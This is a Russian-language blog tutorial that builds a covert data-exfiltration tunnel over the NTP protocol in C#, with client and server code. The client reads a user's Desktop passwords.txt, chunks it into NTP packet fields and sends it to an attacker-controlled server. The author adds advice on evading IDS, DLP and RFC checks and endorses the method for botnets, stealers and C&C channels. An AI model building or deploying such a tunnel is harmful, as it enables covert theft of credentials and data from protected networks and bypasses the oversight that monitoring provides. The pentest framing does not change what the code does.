Проброс трафика через NTP протокол

Проброс трафика через NTP протокол

Сегодня мы узнаем еще один способ вывести украденные данные с компьютера, и о существовании защитных мер от него на данный момент ничего не известно. Единственное решение — полностью запретить NTP в сети и выставлять часы, набирая 100 на телефоне. Также я уверен, что эта техника скоро найдет широкое применение в разного рода ботнетах, стиллерах, бэкдорах и прочих вредоносах. Встречайте — проброс трафика через NTP протокол из корпоративных сетей.

Проброс трафика через NTP протокол

Любая возможность незаметно обращаться к внешнему миру с хоста внутри защищенной сети — драгоценная находка для пентестера. Один из последних доступных путей — это NTP, протокол синхронизации времени на часах. Его трафик разрешен почти везде, так что он будет отличным транспортом для данных. Я покажу, как реализовать базовые клиент и сервер, которые будут использовать этот феномен, а кодить мы будем на C#.

Пару месяцев назад я гулял по загнивающей Германии, где по каждому удобному и не очень поводу строят туннель. И тут мне пришла идея: а не сделать ли свой туннель? В качестве протокола я выбрал NTP — его использование не требует специальных привилегий, системы защиты не видят в нем никаких проблем, ведь там по определению быть ничего не может, кроме текущего времени, а его формат простой как палка, что позволяет нам использовать его без необходимости закапываться в документацию.

Этот трюк могут использовать и вирусописатели — для вывода данных из зараженных систем, причем незаметно для стандартных средств защиты. В этом нам поможет проброс трафика через NTP протокол.

 

Что такое NTP

NTP (Network Time Protocol) — протокол, который работает поверх UDP и используется для синхронизации локальных часов с часами на сервере точного времени. При работе в интернете точность синхронизации составляет до 10 мс, а в локальных сетях — до 0,2 мс. При этом NTP нечувствителен к задержкам канала.

Актуальная версия протокола (по данным Википедии) — 4, но мы будем использовать версию 3, которой для наших целей предостаточно.

Для максимальной точности служба обновления времени постоянно должна работать в фоновом режиме, регулярно отправляя запросы на сервер точного времени, то есть генерируя довольно много трафика. Это нам на руку, так как из-за этой особенности IDS давно не обращают внимания на трафик NTP.

За синхронизацию в Windows отвечает служба W32Time, а в Linux — демон ntpd или chronyd. Также существует более простая реализация этого протокола, известная как SNTP (Simple Network Time Protocol) — простой протокол сетевого времени. Применяют его во встраиваемых системах и устройствах, которые не требуют высокой точности, как, например, системы умного дома.

 

Структура пакета NTP

Структура пакета NTP описана в RFC 958 (v1), 1119 (v2), 1305 (v3) и 5905 (v4). Нас интересует версия 3, как довольно распространенная и простая, хотя ты свободно можешь пользоваться версией 4, она почти не отличается.

Для прожженных программистов на C есть псевдокод:

 public   struct NtpPacket 
 { 
   public   byte First8bits  ;   // 2 бита — индикатор секунды коррекции (Leap Indicator, LI) 
                           // 3 бита — версия протокола (Version Number, VN) 
                           // 3 бита — режим работы (Mode) 
   public   byte Stratum  ;      // Stratum — расстояние до корневого сервера по иерархии 
   public   byte Poll  ;         // Насколько часто можно спрашивать сервер 
   public   byte Precision  ;    // Точность системных часов 
   public   uint RootDelay  ;    // Задержка сервера относительно главного источника времени 
   public   uint RootDisp  ;     // Разброс показаний часов сервера 
   public   uint RefID  ;        // ID часов 
   public   ulong Reference  ;   // Последние показания часов на сервере 
   public   ulong Originate  ;   // Правильное время отправки пакета клиентом (заполняет сервер) 
   public   ulong Receive  ;     // Время получения пакета сервером 
   public   ulong Transmit  ;    // Время отправки пакета с сервера клиенту 
 } 

Теперь немного о назначении этих полей.

  • Leap indicator (LI), 2 бита — число, предупреждающее о секунде координации. Может быть от 0 до 3, где 0 — нет коррекции, 1 — последняя минута дня содержит 61 с, 2 — последняя минута дня содержит 59 с, 3 — неисправность сервера. При значении 3 полученным данным доверять не следует. Вместо этого нужно обратиться к другому серверу. Наш псевдосервер будет всегда возвращать 0.
  • Version number (VN), 2 бита — номер версии протокола NTP (1–4). Мы поставим туда 3.
  • Mode — режим работы отправителя пакета. Значение от 0 до 7, где 3 — клиент, а 4 — сервер.
  • Stratum — сколько посредников между клиентом и эталонными часами (включая сам NTP-сервер). 1 — сервер берет данные непосредственно с атомных (или других точных) часов, то есть между клиентом и часами только один посредник (сам сервер); 2 — сервер берет данные с сервера со значением Stratum 1 и так далее.
  • Poll — целое число, задающее интервал в секундах между последовательными обращениями. Клиент может указать здесь интервал, с которым он хочет отправлять запросы на сервер, а сервер — интервал, с которым он разрешает, чтобы его опрашивали.
  • Precision (точность) — число, которое сообщает точность локальных системных часов. Значение равно двоичному логарифму секунд.
  • Root delay (задержка сервера) — время, за которое показания эталонных часов доходят до сервера NTP. Задается как число секунд с фиксированной запятой.
  • Root dispersion — разброс показаний сервера.
  • RefID (идентификатор источника) — ID часов. Если поле Stratum равно единице, то RefID — имя атомных часов (четыре символа ASCII). Если текущий сервер NTP использует показания другого сервера, то в RefID записан IP-адрес этого сервера.
  • Reference — последние показания часов сервера.
  • Originate — время, когда пакет был отправлен, по версии сервера.
  • Receive — время получения запроса сервером.
  • Transmit — время отправки ответа сервера клиенту, которое заполняет клиент.
Иллюстрация из Wikipedia
Иллюстрация из Wikipedia

В целом процесс проброса трафика через NTP протокол крайне прост и понятен, если изучить картинку. Клиент посылает запрос на сервер, запоминая, когда этот запрос был отправлен. Сервер принимает пакет, запоминает и записывает в пакет время приема, заполняет время отправки и отвечает клиенту. Клиент запоминает, когда он получил ответ, и получает нечто вроде RTT (Round-Trip Time, в простонародье — пинг) до сервера. Дальше он определяет, сколько времени понадобилось пакету, чтобы дойти от сервера обратно ему (время между запросом и ответом клиента минус время обработки пакета на сервере, деленное на два).

Чтобы получить текущее время, нужно прибавить полученную задержку канала к времени отправки ответа сервером. Вот только UDP на то и UDP, что задержки могут быть случайные и непредсказуемые, так что замеры повторяются по многу раз в день, вычисляется средняя ошибка, и локальные часы корректируются.

Ограничения на трафик по порту UDP-123

Системы обнаружения вторжений не такие глупые, какими могут показаться, так что просто пустить трафик, например, OpenVPN по 123-му порту UDP мы не сможем, по крайней мере без риска спалиться. Соответствие RFC все же проверяется. Это можно посмотреть на примере Wireshark.

Один из NTP-пакетов, пойманных Wireshark
Один из NTP-пакетов, пойманных Wireshark

Придется нам заставить наши пакеты соответствовать RFC. Проще всего это сделать, назначая некоторые поля по своему усмотрению. Мы можем внедрить свои данные в поля Transmit и Originate. Последнее не вполне соответствует RFC, но так глубоко проверки обычно не добираются.

Концепт проброса трафика через NTP протокол

Идея проста: мы составляем собственный «заряженный» пакет NTP и пытаемся синхронизировать время со своим сервером. Чтобы не привлекать лишнего внимания к своей передаче, на каждый запрос должен отправляться внешне валидный ответ, в котором могут быть инструкции для клиента (читай: бота).

Чтобы всякие там системы предотвращения утечек (DLP) не мешали нам, можно, например, поксорить наши данные со статическим ключом. Естественно, в рамках PoC я не буду этого делать, но в качестве простейшего способа сокрытия данных должно сработать.

Для передачи данных с клиента на сервер подходят поля Poll, Originate и Transmit. Из них Poll пригоден ограниченно, но мы на этом останавливаться не будем. Если ты задумаешь учесть его ограничение, то имей в виду, что использовать в этом поле можно только младшие три бита (как я понял из документации). Без учета этого мы можем использовать 17 байт из 48 (35% всего объема пакета) на отправку данных, что уже неплохо.

А что на прием? Сервер заполняет поля Precision, Root delay, Root dispersion, Reference, RefID, Receive и, ограниченно, Poll. На ответ сервера в этом поле распространяются такие же ограничения, как на клиента. Итого имеем 29 (28 без Poll) байт из 48 (60% пакета). Полезный объем пакета — 46 из 48 байт (96%). Оставшиеся два байта — флаги и заголовки, которые мы менять не можем без вреда для скрытности.

Проброс трафика через NTP протокол

Писать код и дебажить наше творение мы будем в Visual Studio. Я использую версию 2019 Community, благо она бесплатная, а скачать ее можно с сайта Microsoft.

Сервер

Как только IDE установлена, включена темная тема и любимый плей-лист, можно приступать. Для начала создадим новый проект типа «консольное приложение» (мы ведь не прячемся от юзера) с названием NtpTun_SERVER.

Создание проекта
Создание проекта

Теперь нам нужна структура, описывающая пакет. Обратившись к спецификации NTP, напишем простой класс. В нем также должны быть методы упаковки пакета в массив байтов, пригодный для передачи настоящему серверу и для распаковки пришедшего ответа из массива байтов обратно в пакет.

Весь код, используемый в статье, есть в моем репозитории на GitHub. Он намеренно подпорчен и для промышленного использования не годится, но для демонстрации работы вполне сойдет.

Объявляем структуру пакета. Не смотри на странные суффиксы в названиях функций, так задумано
Объявляем структуру пакета. Не смотри на странные суффиксы в названиях функций, так задумано

Уже из этого кода видно, что мы будем притворяться сервером Stratum 3. Если бы мы были Stratum 1, то нужно было бы в поле RefID указывать ID атомных часов, которых у нас нет. А список серверов первого уровня общеизвестен, и, если IP нашего псевдосервера не окажется в таких публичных списках, обман быстро будет раскрыт.

Stratum 2 не следует использовать, потому что тогда RefID должен был бы содержать IP сервера первого уровня, список которых опять же известен. А вот третий уровень позволяет указывать в RefID IP сервера второго уровня, полного списка которых нет. То есть мы сможем в RefID передавать еще четыре байта произвольных данных.

Код методов упаковки и распаковки на скриншот не поместился, к тому же нам надо разобрать его отдельно. Вот он:

public NtpPacket Parse(byte[] data)
{
  var r = new NtpPacket();
  // NTP packet is 48 bytes long
  r.First8bits = data[0];
  r.Poll = data[2];
  r.Precision = data[3];
  r.RootDelay = BitConverter.ToUInt32(data, 4);
  r.RootDisp = BitConverter.ToUInt32(data, 8);
  r.RefID = BitConverter.ToUInt32(data, 12);
  r.Reference = BitConverter.ToUInt64(data, 16);
  r.Originate = BitConverter.ToUInt64(data, 24);
  r.Receive = BitConverter.ToUInt64(data, 32);
  r.Transmit = BitConverter.ToUInt64(data, 40);
  return r;
}

 

Тут никаких сложностей: принимаем массив байтов и при помощи BitConverter получаем оттуда данные.

public InPacket GetBuiltInPacketC(byte[] packet)
{
  InPacket _packet = new InPacket();
  NtpPacket ntpPacket = this.Parse(packet);
  _packet.PacketID = 0;
  _packet.Data = new byte[17];
  _packet.Data[0] = ntpPacket.Poll;
  BitConverter.GetBytes(ntpPacket.Originate).CopyTo(_packet.Data, 1);
  BitConverter.GetBytes(ntpPacket.Transmit).CopyTo(_packet.Data, 9);
  return _packet;
}

 

Структура InPacket описывает пакет, инкапсулированный в сообщение NTP. У него есть ID и полезные данные. ID нужен, чтобы сервер мог отчитаться, что получил пакет, и чтобы клиент мог его переслать в случае ошибки доставки. Кроме того, не забываем, что в качестве транспорта мы используем UDP, поэтому не исключены потери и доставка не в том порядке, в котором пакеты были отправлены.

public NtpPacket EmbedDataToPacketS(byte[] data)
{
  var nd = new byte[30]; //Max 30 bytes of data in response
  data.CopyTo(nd, 0);
  data = nd;
  NtpPacket result = new NtpPacket();
  result.First8bits = 0x1B;
  result.Poll = data[0];
  result.Precision = data[1];
  result.RootDelay = BitConverter.ToUInt32(data, 2);
  result.RootDisp = BitConverter.ToUInt32(data, 6);
  result.RefID = BitConverter.ToUInt32(data, 10);
  result.Reference = BitConverter.ToUInt64(data, 14);
  result.Receive = BitConverter.ToUInt64(data, 22);
  return result;
}

В этом коде мы видим внедрение данных в пакет. Строка data.CopyTo(nd, 0) нужна для того, чтобы функция корректно отработала, даже если передать ей не ровно 30 байт, а меньше. Дальше мы видим стандартную сборку пакета.

Тебя, возможно, заинтересовали эти странные суффиксы в названиях функций. Я добавил их, чтобы в коде можно было визуально различить функции клиента и сервера. Суффикс C означает, что пакет был собран клиентом, а S — сервером.

Сервер должен уметь только распаковать данные, внедренные клиентом, и собрать свой пакет с ответом. А клиент должен уметь закинуть данные в пакет в свои поля и распарсить ответ сервера. Таким образом, у сервера будет одна копия этого файла (со своими функциями), а у клиента другая.

public byte[] BuildPacket()
{
  byte[] arr = new byte[48];
  arr[0] = First8bits;
  arr[1] = Stratum;
  arr[2] = Poll;
  arr[3] = Precision;
  BitConverter.GetBytes(RootDelay).CopyTo(arr, 4);
  BitConverter.GetBytes(RefID).CopyTo(arr, 8);
  BitConverter.GetBytes(Reference).CopyTo(arr, 12);
  BitConverter.GetBytes(Originate).CopyTo(arr, 20);
  BitConverter.GetBytes(Receive).CopyTo(arr, 28);
  BitConverter.GetBytes(Transmit).CopyTo(arr, 36);
  return arr;
}

 

Название последней функции говорит само за себя. Она собирает пакет в массив байтов для отправки. Структура пакета клиента и сервера одинакова, что снимает некоторые сложности при сборке пакетов на клиенте и сервере. Но разница все-таки есть, ведь один из битов заголовка указывает на режим (клиент/сервер), и для большей скрытности не следует об этом забывать.

Следующая проблема, с которой я столкнулся при реализации PoC, состоит в том, что сокеты UDP в C# исключительно однонаправленные. Поэтому встала задача сделать сокет двунаправленным. Решается это простым костылем: мы делаем два сокета на одном порте и устанавливаем для обоих флаг ReuseAddress в true. При желании это можно завернуть в один класс, но я делать этого не стал, поскольку лучший код — это код, который никто не понимает.

В сервере дальше объяснять нечего, если у тебя возникнут какие-то вопросы — не стесняйся задавать их в комментариях.

При запуске наш псевдосервер спросит, на каком интерфейсе слушать и какой порт использовать. После этого появится штатный запрос Windows Firewall, в котором тебе надо будет предоставить доступ нашему приложению. Все, теперь PoC будет запущен и готов к принятию соединения.

Запрос от Windows Firewall. Нажми Allow access
Запрос от Windows Firewall. Нажми Allow access
Сервер запущен
Сервер запущен
 

Клиент

Сервер готов, дело за клиентом. Давай сразу договоримся, что наша цель — организовать передачу данных только от клиента к серверу. Ответы нас не интересуют, так как мы не интерактивный шелл делаем, а просто крадем содержимое файла passwords.txt, лежащего на рабочем столе юзера.

Это значит, что оговоренный выше костыль в виде двух сокетов UDP на одном порте нам не понадобится. Если у тебя будет желание повозиться с этим — один из вариантов реализации я предложил. Другой состоит в отправке пакетов UDP не из сокета, а через PcapNet, что, правда, требует установки драйвера на клиентской машине. Сейчас для нас это не проблема, поскольку мы тестируем все только на своих машинах, но для пентестов этот способ явно не годится.

Лирическое отступление закончено, теперь кодим. Создавай новый проект, я назвал его NtpTun_Client. Красивую псевдографику в консоли, со всеми приглашениями, ты, думаю, и сам сделаешь, а если не справишься — загляни в мой репозиторий, там есть мой вариант клиента.

Сразу предлагаю обратить внимание на отличия между классами NtpClient на сервере и клиенте. Клиент пакует данные в свои поля (напомню, это Poll, Originate и Transmit), а сервер — в свои (Precision, Root delay, Root dispersion, Reference, RefID, Receive). И не забудь про флаг в поле Mode (клиент/сервер), а то у Wireshark и других средств анализа возникнут справедливые вопросы. Если тебе лень читать документацию, то значение первого байта пакета у клиента должно быть 0x1B, а у сервера — 0x1C. Реализацию EmbedDataToPacketC и GetBuiltInPacketS привожу тут, за остальным опять же отсылаю на мой гитхаб.

Алгоритм действий клиента прост, но в то же время требует некоторых разъяснений.

Сначала необходимо получить приватные данные. Я не буду изобретать велосипед, так что пусть это будет содержимое файла passwords.txt с рабочего стола юзера. И не говори, что не пользовался таким «парольным менеджером»!

String path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "passwords.txt");
String contents = File.ReadAllText(path);

Этот код заодно демонстрирует правильную работу с путями. Складывать их как строки — дурной тон, и такой код плохо переносится. Path.Combine — наш выбор!

Далее в коде ты можешь увидеть странную строчку:

contents += "TRANSFER COMPLETE" ;

 

Ее суть заключается в том, что отправить лишний пакет нам не жалко, а если файл, который мы отправляем, был пустым или меньше 17 байт длиной, то следующий пункт нашего алгоритма не выполнится. Поэтому мы предполагаем худший вариант развития событий и добавляем «хвост», чтобы гарантированно отправить хотя бы один пакет.

Следующий финт ушами — разбиваем данные на блоки по 17 байт. Я не придумал ничего лучше, чем завести список байтовых массивов и добавлять в массив байты по одному в цикле.

int ctr = 0;
List<byte[]> pcs = new List<byte[]>();
int BYTE_CNT = 17;
byte[] current = new byte[BYTE_CNT];
foreach (var cb in Encoding.ASCII.GetBytes(contents))
{
  if (ctr == BYTE_CNT)
  {
    // BYTE_CNT bytes added, start new iteration
    byte[] bf = new byte[BYTE_CNT];
    current.CopyTo(bf, 0);
    pcs.Add(bf);
    String deb = Encoding.ASCII.GetString(bf);
    ctr = 0;
    for (int i = 0; i < BYTE_CNT; i++) current[i] = 0x0;
  }
  if (cb == '\n' || cb == '\r')
  {
    current[ctr] = Encoding.ASCII.GetBytes("_")[0];
  }
  else current[ctr] = cb;
  ctr++;
}

 

Переменная BYTE_CNT нужна на случай, если ты решишь паковать не по 17, а, например, по 11 байт.

Вот все и готово. Фасуем наши блоки данных по пакетикам пакетам NTP и отправляем. Дальше происходит задержка (я взял 200 мс, можно меньше), чтобы данные отправлялись синхронно и в том же порядке, в каком пакеты поставлены в очередь отправки. Эта необходимость связана с внутренним устройством класса UDPSocket: там используется асинхронная отправка. Таким образом, задержка позволяет почти гарантировать, что отправка выполнится в нужном порядке.

Реализация этого чуда инженерной мысли находится в файле Program.cs проекта NtpTun_CLIENT, найти который ты можешь все в том же репозитории.

Для удобства использования и отладки клиент также выводит некоторое количество вспомогательных данных, таких как скорость отправки пакетов. Она учитывает упомянутую выше задержку, так что скорость выходит довольно небольшая. Бенчмарк (смотри раздел о производительности ниже) не добавляет задержку, что позволяет значительно увеличить пропускную способность туннеля.

Выглядит финальный результат как на скриншотах.

Клиент работает
Клиент работает
Сервер — тоже
Сервер — тоже
 

Клиент на Powershell

В теории никто не мешает нам сделать то же самое в виде скрипта на Powershell, чтобы не таскать с собой приличного размера бинарник. «Пошик» есть на всех машинах с Windows 7 и выше, если его не выковыряли из системы руками. Получается, что мы имеем возможность запустить наш скрипт даже без файла. Я не мастер Powershell, но, если ты в нем разбираешься, попробуй и не забудь поделиться результатами в комментариях.

 

Тестирование с Wireshark

Wireshark содержит встроенные средства разбора пакетов множества протоколов. В этом списке есть и NTP. Это значит, что мы можем анализировать наши пакеты на соответствие RFC без напряжения мозговых извилин. Если ты не хочешь возиться с виртуалками, можно поставить Npcap Loopback Adapder Driver, идущий в комплекте с Nmap. Он позволяет Wireshark ловить локальный трафик.

Wireshark не замечает подвоха, но передаваемые данные видны в трафике невооруженным глазом
Wireshark не замечает подвоха, но передаваемые данные видны в трафике невооруженным глазом

Данные в PoC передаются только в одну сторону, поэтому полноценного обмена пакетами ты здесь не увидишь. Главное — что наши пакеты опознаются как вполне обыкновенные и не вызывают ошибок при проверке на соответствие RFC.

 

О производительности и скрытности

Как у нас дела со скоростью передачи данных? Ближайший родственник проброса трафика через NTP протокол — DNS-туннелирование показывает симметричную скорость до 10 Кбайт/с и асимметричную 5 Кбайт/с на прием и до 13 — на отдачу. Свой метод я протестировал и получил на порядок лучшие результаты, что меня, конечно, сильно обрадовало.

Радует и то, что за оптимизацию клиента я пока даже не брался, так что эти результаты наверняка улучшатся. На скриншоте ниже показатели скорости отображают полезную нагрузку, а не полную. То есть 83 Кбайт/с на отдачу — это 83 Кбайт/с полезных данных, а полная загрузка будет несколько выше (программа просто ее не отображает).

Результаты тестирования производительности
Результаты тестирования производительности

Что касается скрытности, то все на высшем уровне. Даже DNS-туннель еще не все защитные средства научились находить, а наши «заряженные» пакеты запалить еще сложнее.

 

В сравнении с DNS

Раз уж мы вспомнили про туннелирование через DNS, то давай разберемся, почему защита от него не сработает против проброса трафика через NTP протокол. Даже если пустить этот трафик по 53-му порту UDP, мы не выйдем за «нормальную» длину пакета, а проверка на наличие строк (например, файрвол вздумает искать там запрещенные слова типа cmd, bash, UserPassword:) не покажет ничего.

Это в DNS поддомен должен быть строкой. А у нас бинарный протокол, так что сразу появляется куча возможностей сокрытия интересных данных. Это может быть банальный XOR, может быть AES, RC4 и еще много чего. А если сделать гибрид (например, получать ключи шифрования по DNS и шифровать ими данные в NTP), то у нас будет дешевый и надежный способ передачи данных из доверенной сети.

В общем, в современных реалиях всерьез расследовать паразитную нагрузку на канал в размере нескольких сотен килобит в секунду даже не интересно, так что, даже если и будут замечены аномалии в количестве пакетов NTP, это, скорее всего, спишут на ошибку.

Применение

Проброс трафика через NTP протокол может применяться как в тестах на проникновение, так и вирусописателями. Если не остается других способов общаться с сервером C&C, то это на данный момент идеальное решение. Можно создать публичный сервер NTP, чтобы он отдавал «нормальное» время всем, кроме нескольких десятков IP-адресов, с которыми будет общаться по такому туннелю. Такой сервер никто не запалит извне, поскольку проверка покажет полное соответствие стандарту. Главное — не забывай, что за все свои действия несешь ответственность только ты.

Click to rate this post!
[Total: 0 Average: 0]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.